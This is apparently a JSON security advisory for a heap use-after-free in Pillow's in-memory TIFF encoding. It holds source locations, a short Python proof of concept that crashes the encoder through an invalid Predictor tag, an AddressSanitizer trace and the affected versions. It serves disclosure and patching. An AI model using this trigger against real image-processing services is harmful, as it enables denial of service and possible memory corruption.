{"id":"GHSA-4rr5-89j8-mwwm","summary":"Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer","details":"### Summary\nSaving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.\n\n### Details\nThe failure path in `ImagingLibTiffEncode` frees `clientstate-\u003edata` for the in-memory case but does not close the TIFF or null `clientstate-\u003etiff` (the file-descriptor branch just above it does set `tiff = NULL`):\n\n- `src/libImaging/TiffDecode.c:1041-1046`\n\nTeardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:\n\n- `src/encode.c:99-101`\n- `src/libImaging/TiffDecode.c:955`\n\n`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state-\u003edata`:\n\n- `src/libImaging/TiffDecode.c:103-115`\n\nThe Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.\n\n### PoC\n```python\nimport io\nfrom PIL import Image\n\n# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer\n# data, so TIFFWriteScanline fails. The encoder frees clientstate-\u003edata but leaves the\n# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.\nim = Image.new(\"L\", (64, 64))\nbuf = io.BytesIO()\nim.save(buf, format=\"TIFF\", compression=\"tiff_lzw\", tiffinfo={317: 3})  # 317 = Predictor\n```\n\nRun it:\n```\n$ python 01_poc.py\nPredictorSetup: Floating point \"Predictor\" not supported with 1 data format.\nOSError: encoder error -2 when writing image file\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.\n\nUnder AddressSanitizer (build with `-fsanitize=address`), relevant frames:\n```\n==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804\nWRITE of size 4 at 0x7ef737b48804 thread T0\n    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115\n    #3 TIFFFlush                      libtiff.so.6\n    #5 TIFFClose                      libtiff.so.6\n    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955\n    #7 _dealloc                       src/encode.c:100\nfreed by thread T0 here:\n    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045\n    #2 _encode                        src/encode.c:139\npreviously allocated by thread T0 here:\n    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863\n    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757\nSUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc\n```\nThe buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.\n\n### Impact\nUse-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.","aliases":["CVE-2026-112396"],"modified":"2026-10-21T21:45:08.356370081Z","published":"2026-10-21T21:24:19Z","database_specific":{"nvd_published_at":"2026-10-19T22:17:06Z","cwe_ids":["CWE-416"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-21T21:24:19Z"},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112396"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0"},{"fixed":"13.0.0"}]}],"versions":["11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-4rr5-89j8-mwwm/GHSA-4rr5-89j8-mwwm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}